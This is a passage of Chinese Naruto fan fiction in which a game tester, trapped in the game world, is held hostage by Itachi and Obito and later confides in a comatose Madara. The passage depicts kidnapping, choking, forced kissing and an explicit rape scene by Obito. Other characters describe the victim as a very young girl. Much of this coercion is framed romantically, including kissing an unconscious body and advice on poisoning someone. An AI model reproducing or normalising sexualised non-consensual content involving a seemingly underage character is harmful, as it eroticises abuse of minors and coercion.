我心中认为这就像给学校里的小猫咪投喂猫罐头,放下罐头然后跑远一点等小猫咪走过来自己吃罐头,自觉十分可爱。但带土犀利地吐槽:“你这像给慰灵碑献花。” 我:“……” 这个世界的带土怎么这样坏!! 我鼓着脸气呼呼地磨了会儿贝壳,终于消气了。 我情不自禁地盯着带土的漩涡面具。 带土害羞地捧着脸:“欸?看着人家做什么?现在抛弃鼬喜欢我也来得及哦,我的心胸很宽广的。” “那个,鸢为什么要戴面具啊?” “人家要是被看到脸就要以身相许。” 他怎么还惦记自己的深闺宇智波设定啊! 我说:“我有个朋友,和鸢一样整天戴着面具。那是因为他很小的时候受过伤,半张脸被毁容了,为了不吓到周围的人,他总是戴着面具出现。” “噢……”带土好像没什么兴趣的样子。 “但是,前不久,我的那位朋友已经不再戴面具了。” “为什么?” “因为那是他曾经勇敢地去救人才留下的伤疤。知道事情的原委之后,我说,把英雄的印记遮住,不会觉得很可惜吗?那之后,带、我的朋友就把他曾经的面具全部送给了我,之后也不再戴着面具出没了。 “周围的人最开始的确经常被吓到,在背地里议论。但了解了事情的起因经过之后,就很少有人用异样的目光注视他了。 “虽然我的那位朋友嘴上并没有说什么,但我想他应该是更喜欢现在这个,无需戴着面具的自己的。” 因为摘下面具之后,带土的笑容,要比从前真实许多。 我说:“鸢,一直戴着面具很累,要交朋友的话,还是要以真心示人比较好噢。” “毛都没长齐的小公主要对我说大道理?”带土说,“我有不得不戴着面具的理由。” “无论有什么理由,都是非自愿的吧?” 带土“哈啊”了一声:“好心提醒你一句,知道得越多,对你来说越危险。既然你已经抛弃我选择了鼬,就少来刺探我的情报了。” 他现在就像被看见肚皮的刺猬,拼命把刺竖起来了。 而且我并不需要刺探他的情报,因为现实世界的带土早就把他所有的秘密都告诉我了。尤其强调了他182的身高,搞不懂为什么。 既然是同一个人,那情报也是共通的。 安静了很久,带土忽然问:“你为什么喜欢鼬?” 我想了想,说:“因为鼬聪明有礼貌,什么事都懂,做的菜也很好吃。虽然看起来冷冰冰的难以靠近,但其实是个温柔的人。更重要的是,我最困难的那段时间,是鼬帮我走出来的。” 带土低着脑袋,他望着贝壳被打磨出来的珠光齑粉。 “……这样啊。” 他轻声说,我几乎听不清楚。 他站起来,袖子一挥,就把那些粉末吹散了。带土轻蔑地嗤笑了声。 “也没什么了不起的。” 我将打磨完毕的贝壳擦干净,和之前一样蹑手蹑脚来到“安全距离”附近。 宇智波鼬正从乌鸦爪子上解下卷轴,打开看了眼后,就用黑色的火焰烧掉了。 前些天堆在树根下的野花石子都不见了。 哎呀,小猫咪把罐头吃掉了。 我有些开心地,准备把今天的礼物安静地放下,却听见鼬冰冷的声音:“停下。” 我停下动作,拿着贝壳抬起头,才发现他是在对带土说话:“把东西留下。” 带土装傻道:“诶诶诶?人家可没有偷吃点心噢!” 连我买给佐助的甘栗甘点心也没放过啊你这个坏家伙!! 鼬的目光冰冷:“……” 我有些害怕地往后退了一步,恰好撞到带土。 带土按着我的肩膀,收起笑容,轻飘飘地说:“这么多天了你都不想要,给我又会怎样?冷漠不理会这孩子的人又不是我,有人争抢你才知道伸手是不是太迟了?” 鼬:“还给我,那是我的东西。” “你这是干什么,”带土嗤笑了声,“摆在路边的无主之物,我看到就是我的了。你现在后悔,又想要回去了?抱歉抱歉,谁看见就是谁的,已经被我拿走了就不会还回去了。” 鼬淡淡地看了他一眼,抚摸乌鸦的羽毛,轻描淡写道:“鸢,后悔的人不是我。是你先拒绝的。” 带土不再说话了。 我胆战心惊,汗流浃背。 这两个人好像下一秒钟就会打起来。 地上传来噼里啪啦的声音,我看见许多亮晶晶的小石子和枯萎的野花掉了出来。 带土的轻笑声甜蜜又毛骨悚然。 “这些还给你。”带土的手臂勒住我的脖颈,他把全身的重量压下来,从面红耳赤不停咳嗽喘气的我手里抽走那枚贝壳,“我只要这个。” 被细细打磨好的贝壳在阳光下闪着靛青色的美丽珠光,捏在戴着黑手套的食指与拇指之间。 带土将我搂在怀里,黑底红云的袍子几乎将我从头到脚盖住。 鼬的眼睛变成了猩红色。 空气里的张力令人汗毛耸立。 我没看见鼬是怎么动手的,我只知道自己快在原地吓尿了。 我哆哆嗦嗦抱着头蹲在地上,尽力蜷缩自己,思考在绑匪内讧的时候人质偷偷溜走的可行性。 还没思考完,鼬和带土就打完了。 周围一片狼藉,宛如狂风过境,只有我蹲着的那小块地方还是芳草萋萋。 我没看出来谁赢了,我这些天送的野花石子都已经不见了,不知道被谁拿走了。 他们俩已经开始讨论起公事了。 “收到回信了,”鼬说,“对方同意了赎金。” 带土捏着我的脸颊肉,笑道:“呜哇,那么狮子大开口的价码都一口同意了?早知道应该再多要点,你的老爹可真疼爱你啊。” “……” 我垂下眼睫,抿紧嘴唇,一言不发。 “怎么说?”带土说,“约了在哪交接?”他戳了戳我紧抿着的嘴唇唇角,装模作样哭诉道,“真舍不得呀呜呜呜,小公主回家以后可要想念贴心大哥哥阿鸢啊……” “贴心大哥哥”这五个字是有哪个字用来形容他! “我把回信烧掉了。”鼬说。 “欸?”带土把玩着我的发丝,绕在指间,懒洋洋地说,“要加价?也不是不行啦,不过出尔反尔,这对组织的名誉不太好吧。” “我说,烧掉了。”鼬重复道。 “什么意思?”带土的声音有些讽刺的调笑,“拿了钱不放人?你往常可不屑干这种下三滥勾当啊。” “不。” 鼬看了我一眼。 我有些紧张,忍不住舔了舔唇。 带土不着痕迹用手臂护着我的脖颈和心口,嬉皮笑脸道:“那就是要撕票咯?为了可持续发展,还是放回去再抓比较好吧。就这么杀了多不划算。” 有没有考虑正在听你们谈话的人质的心情啊带土! 鼬漫不经心地说:“都不是。我要把她带回去。” 带土动作顿住了。半晌,我听见他的声音从我的头顶传出来:“她是你弟弟的——” “与你无关。” 带土的声音有些微妙的古怪:“任务失败我可不负责,你回去自己和首领复命。” “不用你提醒。” 鼬伸出手,他冷声提醒带土:“鸢,把她给我。” 带土:“……” 带土抓在我肩膀上的手掌时紧时松,那一小块肉被抓得青青紫紫,骨头吱呀吱呀作响。 我呼痛:“好疼!” “鸢!” 带土的呼吸声逐渐紊乱沉重,充满着矛盾的碰撞。一直等到鼬的耐心告尽,带土也没把我松开。 鼬抬起手来拉我,在他碰到我之前,我呻吟着说:“等等……鼬,这是什么意思?” “你不是要和我做朋友吗?” 鼬抓住我的大臂,一把将我拉过来,我听见布料被撕裂的声音,肩头一凉。 带土攥住我的手腕。 拉扯间,我发出痛苦的呜咽声。 “我同意了。”鼬说。 “等等,不、不对。”我下意识想挥开鼬的手,有些害怕,“不放我回去见父亲母亲是什么意思?!带我回去又是什么意思?!要去哪里?!我不要过去——” “你要吻我……”鼬低下头,按着我的后脑勺,“我也同意了……” 尾音模糊不清。 我挣扎的手指陷入黑底红云的布料之中,氧气渐渐消失。 我:??? 强吻的对象是不是反了? 不是我强吻宇智波的吗?! 我激烈地喘着气,嘴里满是铁锈味。 我咬了鼬,他把我松开了。 “这、这不对!”我说,脑子里很混乱。 “鼬,你是看见有人抢就先在点心上咬一口的小孩子吗?” 带土尖锐地讽刺道,弯起的眼睛里没有笑意。 “点心放久了不吃就送给我吧。” “她原本就是我的。”鼬平静道。 带土要过来带我走,被鼬拦住了。 两个人剑拔弩张的。 这个鼬……这个鼬和我认识的那个鼬完全不一样。 他更……更危险也更黑暗。冰冷、锋利、脆弱。像一把布满裂纹的玻璃刀。 绮丽的冷漠红瞳染着微温的热度。 让我心脏怦怦乱跳,后背满是冷汗,肾上腺素飙升。 这两个人……都好陌生。我不敢靠近。 而且,为什么任务还是没完成啊! 泉奈到底给我派了个多么高难度的任务啊!此刻,搞不好泉奈就在实机室看着实况,偷偷嘲笑我是笨蛋呢! 【内测任务:强吻宇智波0/1】 蜻蜓点水的轻吻不算,热烈的、血液都要沸腾起来的、舌头伸进来的深吻也不算。 到底是哪里出错了啊?!《 》 50-57 第51章 全家桶番外④ 我的百分百被一见钟情Buff原来是对宇智波特攻吗?! 04、鼬+带土 绑架我要点钱只是顺便,鼬和带土这次的主要任务是抓人柱力。 拥有尾兽力量的人柱力自然不如我一般好抓,在他们前去忍者村调查情报并因势利导时,这两位宇智波会把我放在安全的地方。 既然没绑匪看管了,那我当然是选择绞尽脑汁逃跑啊! 但每次跑不远就被抓住了,悲。 有次没看清楚脚下的路,踩空掉进悬崖下,还是一群乌鸦把我叼了起来,才免去登上泉奈的“一百种嘲笑理由”排行榜第三位。 顺便一提前两位是开会时睡着到流口水,和讲解方案时太紧张误点了保存的搞笑猫咪视频。 我真讨厌宇智波泉奈!! “咕呜……怎么样才能跑掉呢,”我沮丧地抱着膝盖坐在地上,一筹莫展地对救命恩鸟乌鸦先生说心里话,“这个鼬给我的感觉很陌生,我有点害怕他……” 如果真的跟着他回去了,似乎会发生不妙的事。 乌鸦睁着猩红色的眼睛盯着我。 我摸了摸乌鸦的羽毛:“并不是讨厌鼬,也不是说不想做好朋友了。就是……感觉鼬很危险、锋利、黑暗。” 声音容貌性格都和我认识的那个“宇智波鼬”一样,我本应该十分熟悉才对。但游戏里的这个,每次见到他都让我心脏怦怦乱跳,情不自禁冒出冷汗。 我之前在木叶村打听宇智波族地的事,听说这个鼬杀死了自己的族人与家人。我原本并不相信,认为另有隐情。但随着和鼬相处的时间变长,我有些相信这件事的真实程度了。 ……这里是战国时代啊,战乱频发,普通人命如草芥。我第一次有这样的实感,心里面闷闷的,怎么也轻松愉快不起来了。 乌鸦用鸟喙轻轻啄了啄我的掌心。 鼬和带土在晚些时候回来了。 带土一个虎扑把我抱住(“呼吸……咳咳……鸢,松开我咳咳……喘不上气……”),用面具蹭我的脸颊,嬉笑着说:“一整天不见,小公主有没有想我?我给你带了好吃的糖果噢!” 我在他身上闻到了浓郁的血腥气,带土感觉到我身体的僵硬,松开我,笑着说:“哎呀呀,鼻子真灵。我回来之前可是洗得很干净呢,闻到了?按理说你也是大名的女儿,没见过战争?将军将你养得可真是娇贵——” 他停住了。 带土垂着脑袋,宽大坚硬的手掌捧着我的脑袋,他凑近了,盯着我的脸,面具眼洞里的那只眼睛因兴奋而战栗:“啊啊……” 他发出愉快的喘息声。 “哈啊……坏孩子。 “你这女人真是……真是……。” 他笑起来:“这个贪婪的、饥渴的眼神,太有趣了,太美丽了。不愧是大名的女儿……” 指腹摩挲着我细嫩的眼角,我的眼角发红刺痛。带土低语道:“搞不好,你天生就适合在战场上绽放呢……” 第二天,他们带我去了忍者村。 拦在人柱力前面的忍者们宛如稻草般被大量收割,战力压倒性地倾向晓组织这边,负隅顽抗的结果是可以预见的。 好不容易刺中带土的武器却穿过了对方的身体,中了幻术的忍者更是在原地傻站着,一个接一个在幻觉中可悲地死去。简直就像在被恶劣地玩弄。 悲伤绝望的呼喊、痛苦的哭声、声嘶力竭的呐喊。 我的手指在颤栗。 “你很适合做忍者。”鼬站在我身边,这般评价道。 “……”我垂下眼睫,“佐助教过我,我没有学会,太辛苦了。我只想过懒散悠闲的生活。” “也有用毒的忍者。”鼬淡淡地说。 “我说了!我只想在和平又没有战争的世界里,和我的朋友们一起幸福地生活!” “是吗?”鼬平静地说,“那你下次最好选毒性更强的植物,我在暗部工作之前,有过长时间的毒物抗性训练。即使你用了两倍的剂量也无法迷倒我。” 我手脚发凉。 他以指腹抵着嘴唇,清冷淡漠的红瞳迎上我恐惧的目光,落在我的唇瓣上:“一个建议,下次涂抹在你的嘴唇上,会比下在我的饮水里,更容易让我服下更多。” 我紧张地吞咽着,鼻尖满是汗珠。 鼬盯着我看了一会儿,往前走了一步。 我尖叫着退到墙角,鼬站在我面前,俯视着我,平静道:“你在害怕什么?无需害怕我。我并没有生气,恰恰相反,我很高兴你有毒术方面的天赋。晓里恰好缺少这样的……” “不,”我说,掐着自己的手臂,“不。我已经改掉了。我不会再这样了!” 鼬看了我片刻,轻声问:“是谁?” 他的声音让我浑身发毛。 “什么?” “改变你的人是谁?”他追问。 鼬冷淡的语气里有十分微妙的、紧绷的强烈张力,在我的肌肤表面窜过微弱的电流。 危险的黑暗气息。 我咬着牙瞪着他,这个陌生的鼬让我的眼眶不争气地发酸:“……与你无关!” 鼬周身的气息冰冷下来。 我双腿发软。 他步步紧逼,语气平淡:“怎么会与我无关?你说喜欢我做的食物,我就做给你吃;你说喜欢我温柔守礼,我就忍耐着等你接受;你说要和我做朋友……”他轻声道,声音平静冰冷得令人发毛,“现在又说‘与我无关’?” 我根本没对他说过,鼬为什么会知道?! 我退无可退,尖叫道:“你别过来!!” “哈啊?我在辛辛苦苦干活,你们俩在这谈情说爱?!”带土的声音横插进来。 他一把将我拽到怀里。 面具上温热的血液滴在我的脸颊上。 我呼吸急促,一阵阵战栗。 “结束了?”鼬问。 “嗯哼。” “人柱力呢?” “跑了,”带土百无聊赖地说,捏着我的脸颊肉,很快就留下红彤彤的指印,“受了重伤,跑不远,懒得追了。” “下次支开我,你最好用不这么拙劣的理由。”鼬冷冷地说。 带土毫不赧颜地耸耸肩,笑眯眯说:“临时找的,别见怪。” 鼬离开之后,带土问我:“那家伙和你聊了什么?拉你入伙,嗯?” “没什么……”我垂下眼睑。 “和鼬有说有笑,和我就‘没什么’?”带土低低地笑了声,“朝秦暮楚的女人,变心真快啊。” 我:“……” “……你倒是否认啊。说只爱我一个什么的,那些被发现出轨的女人不都爱这么和丈夫说吗……” 带土不满地用食指和拇指捏住我的下颌,强硬地将我的脸颊抬起来,逼迫我仰起脸。 他的力气太大,个子比我高太多。我要尽量踮起脚,才能勉强呼吸。 带土盯着我的表情观察了一会儿,不太高兴地“啧”了一声。抬手掀开一点面具,露出下颌和嘴唇,然后低下头。 先接触的是微凉的、略带血腥气的嘴唇,接着是湿滑柔软、灵巧的舌头。 坚硬的面具抵着我的脸颊,带土将我压在墙上。 我把游戏面板翻出来,急切地找着登出键。 测试酬金我不想要了。 哪怕任务失败被泉奈嘲笑一整年也无所谓。 这根本不是我梦想中的第二种人生,这个游戏太真实了,真实得可怕。拂过脸颊的微风、落在肌肤上的血滴、翻搅吮吸着口腔的舌头、兴奋战栗着抚摸腰肢的滚烫大掌……都像真的一样。 我的朋友们都变得好陌生。黑暗而危险。 他们在引诱着我。 我不要再玩下去。 我想回去了。 “别和那只死乌鸦做好朋友了,”带土喘息着低语,嗓音甜蜜,“……和我。我更好。” ——我无法登出游戏。 浑身的血液在瞬间冻结。 我的牙齿咯咯打颤。 怎么会? 怎么会退出不了游戏? 测试前的培训不是这么说的,他们说只要想随时可以退出游戏。 这应该只是个游戏才对啊。 我有些颤抖起来,带土抚摸着我震颤的脊骨,发出一点低低的、沙哑的哼笑声。 “鼬把你留下来的决定或许是正确的,”他说,“谁会舍得放走你。” 这不对……这不对! 宇智波泉奈,你看得到吗?你是不是在和我开玩笑。 别再对我恶作剧了。 我真的被吓到了。 快放我出去。 我再也不敢和你对着干了,你快说这只是个恶作剧啊!! “这不是真的……”我的嗓音嘶哑,“这不是真的……这全部都只是一个游戏!” “……”带土强而有力的健硕手臂倏然一紧。他敏锐地盯着我的表情看了几秒钟,黑瞳仿佛能看穿灵魂。 我哆哆嗦嗦流下绝望的眼泪。 带土忽然甜蜜地笑起来,轻飘飘地说:“就算只是游戏,我得到了,就是我的了。” 我尖叫着甩开他,还没有跑几步远,就被带着血肉模糊的人柱力回来的鼬抓住了。 我哭着挣扎起来。 这个世界的一切都像真的一样,原先的那个现实世界,除了一段留在我脑海中的记忆,没有任何事物能证实那是真的。 就像幻觉。 就像中了幻术。 就像我原本就是这个世界里的原住民,那和平的世界只是我经历战争后脑中的幻觉。 我浑浑噩噩过了几天,等到有记忆的时候,已经到了晓组织的大本营。 我不记得发生了什么,我一直在尝试退出游戏,但它只提醒我内测任务还未完成。 “欸?”带土说,“好好的……怎么哭了?哎呀,害怕吗?真可爱……没事的,只要到我怀里来,这些奇形怪状的坏家伙就不敢伤害你。” 他凑过来舔我脸上的眼泪,捧着我的脸颊,发出湿润黏稠、甜蜜黑暗的轻笑声。不知道谁说了一句“鸢,要发情滚去别的地方,真恶心”。带土混不在意。 “对着这么小的女孩也能有感觉,变态。” “没人想看你大庭广众睡女人。”有人说。 “哈啊?真烦人。”带土头也不回地精准接过投掷过来的苦无,把我扛起来,“我回房间去了。” 我哭得太厉害了,以至于浑身都在发抖。 衣服很快就被脱掉了大半。 带土将我抱在怀里,手臂健硕坚硬,充满力量,喘息声沙哑:“哭得真厉害啊……让我有点兴奋起来了。” 我不停地哭,很快就变成了凄厉的尖叫声。 太疼了。 像被撕裂成两半。 我艰难地呼吸着。 这不是……这不是我的好朋友带土,他不会这么对我的!这一切都是假的! “太可爱了……真可爱……呼呼……又软又小,却如此湿润……”带土捂着我的嘴,湿热的呼吸点燃我的耳垂,我用力咬着他的手掌,不住颤抖。 我要回去。 我要回去……我要回去! 我哆嗦着伸出手,掀开一点带土的面具,凑过去疯狂地吻他。他愣了一下,接着欣喜若狂地回吻了我。 “我就知道,我们是两情相悦的!” 他喜不自胜地、模糊地低喃。话语甜蜜又毛骨悚然,充满着黑暗的诱惑:“生下我的孩子……被夺走羽衣的神女,只能永远留在人世间……” 我哭得更厉害了,绝望地吻着他,撕咬他的嘴唇。 我不要永远留在这里。 大掌扣住我的后脑勺,带土不停吞咽着。 我们纠缠着直到我的舌根开始发疼,但任务仍旧显示没有完成。 我开始发了疯似的寻找完成任务回去的方法。每天浑浑噩噩地在晓组织的大本营游荡。 当鼬和带土做完任务回来的时候,我就跑过去。带土发出心领神会的轻笑声:“哎呀,真是热情……” 而鼬会抬起手,轻轻摸摸我的脑袋,接着弯下腰。 我抓着他的项链往下拉,踮起脚尖认真地吻他。 或许是病弱的缘故,鼬的体温比常人要低。 我像在含一块薄冰。 但不需要太多时间,就会染上欲望的灼热温度。 我们三个人的关系很快就变得混乱而无序,成为晓组织里心照不宣的阴暗秘密。 但无论我多么努力,任务永远都停滞在最开始的样子。 “你总是心情不好,郁郁寡欢。” 鼬的指尖在我光洁的脊背中央凹陷处滑过,他低声问:“是什么需求没有实现?说出来给我听。” “……” 我看着自己的脚趾尖。 前些天,带土兴致勃勃将它们染成了黑色。 我穿着黑底红云的袍子,学习着手里剑和苦无的使用方法,越来越像一个忍者。 我已经逐渐开始遗忘,那个世界的事情了。 遗忘的速度快得有些不太正常。 无论我多么努力去回忆,两者的边界逐渐开始模糊。 我快不记得爸爸妈妈的样子了。 我被困在以整个世界为基石的偌大鸟笼里。 “我想回家。”我说。 这和因陀罗那时不一样,那时候无论情况多么糟糕,我都知道,这是一个和平稳定的世界,我知道我的爸爸妈妈在哪里等我。这就像一个安定的锚点,我知道自己停泊的港口的方向。 但我现在在另一个世界。 这里战乱频发,命如草芥。我唯一熟悉的,是我过去的朋友们。 可他们已经变得相当陌生了。 我抓不住任何东西……我感到本能的恐惧。 泉奈的游戏测试到底出了什么意外? 鼬想了想,说:“我过段时间有空,可以送你……” “不,”我说,“不是那个家。” 鼬的指尖停了一瞬,他没有说话。 我能感觉到他犹如实质的目光,一寸一寸、缓慢地抚摸着我微微有些汗意的肌肤。 他可能已经猜到些什么了。宇智波永远都聪明、傲慢自负,同时对细微的感情变化,敏锐得不可思议。 他越来越像我记忆中那个“鼬”——他在根据我说漏嘴的那些描述,一点一滴、不着痕迹,调整与改变与我的相处方式。 意识到这一点,我情不自禁打了个寒颤。 第52章 全家桶番外⑤ 我的百分百被一见钟情Buff原来是对宇智波特攻吗?! 05、斑+因陀罗 “……所以说,我一直在梦里,见到另一个世界的样子呢,斑大人!” 我好像在晓待了很久,组织里的大家忙着收集尾兽,停留的时间不定。在大家外出的时候,我就在大本营待着。闲得无聊乱逛的时候,我在某个地下洞窟内发现了宇智波斑。 他和外道魔像连在一起,无法移动。满头白发,皱纹满面,衰老至极,似乎也没有意识,看起来有点死了。 我就把这家伙当作我的情绪垃圾桶,没事就来找他说话。 都是些乱七八糟的,没人有时间听我说的话。 悲伤的事、快乐的事。有趣的事、乏味的事。 有时是带土给我带回来的点心和糖果,有时是鼬送我的书籍,有时是晓里凶巴巴又冷漠的成员们。有时我带着手里剑和苦无在空旷潮湿的洞穴内练习新学的忍术,有时我只是坐在斑身边无聊地打盹。 他是个很好的听众,只是听着,从不会对我的人生指手画脚,也不会有呼吸和心跳。 每次和他聊完天,我都会注视他苍老又陌生的面容良久,然后手脚并用爬到他身上,凑上去,在他冰凉干燥的嘴唇上碰一碰。 宇智波斑:(只是坐着,有点死了) 我:你想要我亲亲! 我好像一个骚扰尸体的变态。 “不知道为什么,”我有些不好意思地说,“冥冥之中我记得自己有个使命,只要看到姓宇智波的人,就要凑上去亲亲他。” 至于为什么要这样做,我已经想不起来了。 斑既然没有说话,那就是同意了。于是我越来越大胆,本能让我十分亲近他,似乎我们是很要好的朋友。 “那是个与这里完全不同的世界。天上有会飞的钢铁巨鸟、地上飞驰着不用煤炭也能奔跑的列车、足不出户就能了解到整个世界的事情。尽管也有战争与纷乱,人与人之间仍然不能相互理解。但总的来说,比这里和平许多。” 我说起这段时间在梦里出现的景象。 “这梦太逼真了,就好像我真的生活在那样的世界中一般。” 斑:“……” “虽然斑大人做安静的听众也很好,”我抱着膝盖,寂寞地看着他说,“但偶尔,也和我说说话嘛。” 理所当然的,斑没有回应我。 眼泪莫名其妙地掉下来:“鼬、鼬……”我哽咽着,擦着眼泪,“鸢之前回来,对我说,鼬已经死掉了。是被佐助杀掉的,我不明白啊……我不理解啊。为什么非要彼此杀戮才能解决问题?为什么人与人之间无法用心灵真切地交流?为什么无法相互理解彼此?我想生活在没有战乱的,梦中的那个和平世界里,和所有人一起做好朋友,不会再有人死掉。” 眼睛哭得肿起来,我乱七八糟地呜咽着,不知道自己说了些什么。 “我不想再失去重要的人了。虽然、虽然鼬对我做过很多我不同意的事,但我,我不知道,我想要他回来。我好像在失去后才发现我很喜欢他,这里变得空落落的。 “好像就是从那天开始,我频繁地梦见一个更美好的世界。” 我一个人哭了很久。 斑沉默着,一言不发。 指望这家伙安慰我就完蛋了。 我有些失落地松开自己,爬过去,将他雪白的发丝撩开,碰了碰他的嘴唇,凉凉的。我舔了舔,又撬开他的唇瓣,把舌头慢慢地伸进去,有些迟疑地吻他。 除了咸涩的泪水,没有别的什么味道,也没有活人的气息,就像在与一块石头互动。 意外的,我觉得还蛮安全的。 比和带土还有鼬的接触来得要更令我安心。 这两个家伙总是让我有些怕怕的。 “在那个梦中的和平的世界里,我希望不仅有鸢和鼬,也有斑大人存在。”我嗓音沙哑地说,“虽然我们现在还没有说过话,你也根本不认识我。但我喜欢斑大人,可以的话,真想在很久以前就遇见你,和你做好朋友。” 我低下头,抓住他冰凉的手,掌心贴在一起,含着眼泪,笑着对他说:“不说话的话,就当你默认了?” 斑:“……” 斑默认了! “太好了,”我开开心心地看着他说,“你也喜欢我呀!那约定好了,等我们再见,就和我做好朋友吧!” “……” 哎呀,他又答应了! 我有新朋友了! 我十分高兴地抱了抱他,最后离开的时候,总觉得斑的手指轻轻勾了下我的衣角。 “……咦?” 我回过头去,似乎又只是我的幻觉。 宇智波斑坐在巨大的外道魔像下方,宛如一尊神龛上衰老的偶像。 那之后没多久,我就在洞窟里偶遇了带土。 他笑眯眯坐在嶙峋的石块上,在黑暗中居高临下看着我,耐心地等我和斑说了一整天话,在我的嘴唇即将碰到斑前,冷不丁出声了:“哎呀……你这花心的女人,就这么当着心爱的丈夫的面出轨,呜呜呜?” 甜蜜的、毛骨悚然的声音回荡在空旷的洞窟内,钟乳石滴下水,更深的黑暗里传来蝙蝠窸窸窣窣的飞翔声。 我吓了一跳,摔倒在斑身上。 “真伤脑筋啊,”带土的声音在黑暗中,“原本发现我和斑的秘密的人,是要被绝杀掉的。但你可是我最宝贵的、唯一的妻子,杀掉的话就再也没有了,我就暂时把绝拦下了,让他交给我处理。哎呀,你可真是给我出了个难题呢。” 他一步一步靠近我。 我紧张地爬起来,攥着斑的衣角,掌心满是冷汗。 他笑眯眯地说:“这样吧,就把你养在神威里。我每天都会进去看你,给你带食物和水的。” 我紧张地吞咽了一下。 “我不要被关起来。”我说。 “说到底,你为什么那么固执,不肯加入晓?”带土说,“明明有着出色的天赋,也有让我心动的美丽贪婪眼神,却一次又一次拒绝我的邀请……” 他低下头,望着我的眼睛,低声问:“为什么要克制你的本能?” “我答应过……”我蠕动着嘴唇,“我答应过,不会再让大家失望了。” 我在心中,认为这是十分重要的事。 我不会再放任自己了。 带土有些不耐烦地把头发往后抓了抓:“哈啊,问了你很多次了,到底是谁啊?我去把他杀了。” “我不记得了。”我说。 每当回忆过去,我只能想起一些十分模糊的画面。 似乎这具身体所有记忆的开始,是我在草丛里,遇见粉发绿眸的少女。 “真是的……啊啊!你这样让嫉妒一个不存在的男人的我,显得太可悲了!” 带土烦躁地在原地走了两圈,“你总是这样……总是摆出一副不属于这个世界、置身事外的表情,带着被其他男人修正过的痕迹出现。你知道我多么努力,才能在和你相处时,压抑自己的怒火吗?还这样一而再再而三地挑衅我的耐心!” “所以带土要对我生气了吗?” “你真的很擅长让我生气啊。” 那就是没生气了。 我试探着伸出手,慢慢地抱住他,将脑袋贴着他的胸膛,听到他急促的心跳声:“鸢不是已经藏起来了我的羽衣吗,我无法逃走了。” “我不能安心。”他僵硬地说,“你好像终有一天会离开。只要给你机会。” “……” “连说谎话哄我开心都不屑做了吗?说从没有想过离开我,把我丢掉啊。” “我不想对带土说谎。”我说,“因为带土是我重要的人。” 带土倒抽一口气,捂着心口夸张地“哈啊”了一声:“狡猾的女人,到底是从哪里学来的勾引手段!!” 带土像是十分生气,又像是有点被我哄得得意起来,压不住上翘的轻浮笑意。气哼哼地捏着我的脸颊肉往外拉。 “算了,”他最后说,“九尾的人柱力已经到手了。我和斑的计划马上就可以完成了。这段时间你就安分待在这里……在新的世界,我们再相逢吧。” “嗯。”我认真地说,“我等你来找我,鸢。” “……” 他安静地拥抱了我一会儿,像是疲惫后的安歇。 在这黑暗潮湿的洞窟一隅,存在着世人无法得知的,短暂的宁静。 当天晚上我就和鸣人一起逃跑了。 “呼呼……”鸣人奔跑着,惊讶地大叫道,“所以说,你是为了救我才留在那里?!” “嗯。”我对他扬起温柔的笑脸,握紧他的手。 鼬和带土把我带走那个晚上,其实应该是为了搜集九尾人柱力鸣人的情报而来。 在带我回大本营的路上,他们当着我的面,将奄奄一息的人柱力带了回来。 此后,也一直在搜集着人柱力。那些人柱力往往刚被带回来,就被抽取掉了查克拉而亡。 鸣人是九尾人柱力,是他们最后一个目标。 我调查了很久,找到了外道魔像存放的洞窟。 外道魔像是十尾躯壳,想要复苏,必须要鸣人的牺牲。 “我是不会让我的朋友死掉的,鸣人。”我对他说。 再没有比隐藏在一个危险黑暗的组织内部,更能保护朋友的办法了。 “……” “鸣人,你是在哭吗?”我问。 他用手背狠狠擦过脸:“我才没有!!我只是……我以为你死在晓的手里,这段时间和小樱一直想为你报仇……” 我想了想,说:“不需要为我报仇。因为那些人,也是我的朋友。” “欸、诶诶?!”鸣人眯着眼睛,苦恼地说,“我弄不明白了!!” “我的朋友想要杀掉我的朋友,我也不知道该怎么做才好。”我低下头,轻声说,“这下,他们大概会真的对我生气了吧。” 即使待在晓的这段时间里,我做了许多准备,但要从晓的手中救人,也不是一件轻易的事。 我和鸣人风餐露宿,朝不保夕。 有几次危机迫在眉睫,我几乎能感觉到带土燃烧着怒火的眼眸,阴郁地注视着我的后背,扒下我的衣物,在光洁的脊背烙印下“背叛者”一词。 我打了个哆嗦,将自己蜷缩起来。 如果被抓到,我的下场可能会比鸣人还要悲惨。 情况很快变得更糟。 战乱频发,我和鸣人很难找到落脚点。晓已经派人在木叶守株待兔,我们也很难回去找到援兵。最后鸣人和我决定去找妙木山的通灵兽蛤蟆们寻求帮助。 但当我们使用通灵术传送至妙木山之后,我睁开眼睛,发现我并不在妙木山,也看不见鸣人的身影。 我和鸣人失散了。 我似乎被传送至了一间十分破败的神社,大约几百年没有被人打扫过,到处都是灰尘。 墙上破败的壁画,描绘着两位流淌着女神之血的兄弟互帮互助,建立忍宗,人与人心灵相通的美好故事,但又被人充满恨意地刻意毁去。 尽管神社坍圮,破败不堪,这里的一切,却依旧给我仙气飘飘之感。 神社有两间,一间已经被人毁去,我进入尚且完好的那间。 神龛内供奉的泥偶已经倒下,粉碎大半,但依旧能看出来,那是一位穿着勾玉白袍的年轻男子,令我诧异的是,这里如此破败,系在泥偶上的白色发绳却光洁如新。 神龛内部刻着晦涩难懂的文字。 我仔细读了半晌,明白过来,那上面写着,与神明做下约定便无法反悔的警告。 事情走到今天这一步,似乎也没有什么好反悔的余地了。 佐助杀掉了鼬,带土和斑想要杀掉鸣人。 在这个混乱无序的年代,憎恨代代相传,我的朋友们想要我的另一部分朋友死掉。 即使我今天帮助鸣人逃掉了,下一回鸣人将刀刃对准带土时,我又该如何去做呢? 我不知道。 我像个可悲的、掩耳盗铃的做梦者。 我不知道该去喜欢谁,也不知道该去憎恨谁,大家都有各自的理由和苦衷。每个人都活得那样艰难与痛苦,无论否定谁,都是否定他人活着的意义。 人是为了与他人建立宝贵的羁绊才存活在这个世界上的,可越是建立羁绊,越是会不断地失去重要的人。 我谁不都想让他们死掉。 我贪婪、自私又胆大包天。 “我想……” 我张开口。 “我想生活在,和大家都是好朋友的,和平安宁的世界里。 “即使人与人无法心灵相通,即使也会有悲伤和眼泪。 “可总有一天,总有一天……” 我的声音越来越大、越来越清晰明确。 炽热的眼泪滚出眼眶。 “我们会相互理解彼此!!然后,成为要好的挚友!! “无论这个愿望多么可笑,我都真切地希望它能够实现。神啊,我恳求你——请看着我!请回应我的愿望!!” 我解下雪白的发绳,系在小拇指上。 “这是我的允诺,神明大人啊,与我做下约定吧!” 我伸出小拇指,与泥偶的小拇指缠绕在一起,拉勾。 滚烫的眼泪落在泥偶的脸颊上。 对神许诺是要付出代价的。 